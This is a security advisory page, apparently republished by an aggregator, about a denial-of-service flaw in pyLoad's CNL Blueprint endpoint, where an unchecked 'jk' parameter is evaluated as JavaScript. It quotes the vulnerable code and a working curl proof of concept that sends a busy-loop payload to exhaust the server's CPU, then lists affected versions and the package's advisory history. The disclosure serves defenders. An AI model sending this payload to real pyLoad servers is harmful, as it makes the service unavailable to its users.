High

Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs

  • Disclosed: 21.08.2025
  • Updated: 11.10.2026 13:19

Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.

Summary

The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.

Details

affected code

python
@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
    package = flask.request.form.get(
        "package", flask.request.form.get("source", flask.request.form.get("referer"))
    )
    crypted = flask.request.form["crypted"]
    jk = flask.request.form["jk"]
    pack_password = flask.request.form.get("passwords")

    crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
    jk = eval_js(f"{jk} f()")
python
def eval_js(script, es6=False):
    if sys.version_info < (3, 12):
        return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
    else:
        return dukpy.evaljs(script)

PoC

download pyload and run locally, send the following request

  • PoC
bash
curl -X POST "http://localhost:8000/flash/addcrypted2" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "crypted=SGVsbG8gd29ybGQ=" \
  -d "passwords=pyload" \
  -d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"

The 30_000 can be modified to any large value.

Impact

System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.

Use the following command to check CPU usage

bash
top -pid $(pgrep -f "pyload.__main__")

or

bash
top -pid $(pgrep -f "pyload")

The CPU is fully occupied <img width="1209" height="134" alt="image" src="https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e" />

web-ui unresponsive <img width="1209" height="496" alt="image" src="https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd" />

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) pyload-ng < 0.5.0b3.dev92 0.5.0b3.dev92

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
Weakness (CWE)
CWE-400
Platform
Python (PyPI)
Package
pyload-ng
Disclosed
21.08.2025
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-1815 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-9gjj-6gj7-c4wj - CC BY 4.0

Vulnerability history: pyload-ng

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (58) in the archive
Total entries
58
First → latest
01.2023 10.2026
Without a fix
24
Exploited in attacks
0

Severity breakdown

  • Critical 9
  • High 23
  • Medium 25
  • Low 1

Disclosures per year

  1. 2023: 9
  2. 2024: 8
  3. 2025: 8
  4. 2026: 33
Severity:
  1. High · 7.5 ghsa-889w-m37p-88m5 >= 0.5.0b3.dev98, <= 0.5.0b3.dev101 no fix
  2. High · 8.1 ghsa-r44w-v6gf-x3p6 < 0.5.0b3.dev101 0.5.0b3.dev101
  3. High · 8.1 CVE-2026-42315 < 0.5.0b3.dev100 0.5.0b3.dev100
  4. High · 8.8 CVE-2026-35463 <= 0.5.0b3.dev96 no fix
  5. High · 7.7 CVE-2026-35187 <= 0.5.0b3.dev96 no fix
  6. High · 7.1 CVE-2026-29778 >= 0.5.0b3.dev13, < 0.5.0b3.dev97 0.5.0b3.dev97
  7. High · 8.1 CVE-2025-61773 < 0.5.0b3.dev91 0.5.0b3.dev91
  8. Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs this entry
    High CVE-2025-57751 < 0.5.0b3.dev92 0.5.0b3.dev92
Show more (12) Showing 20 of 32

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.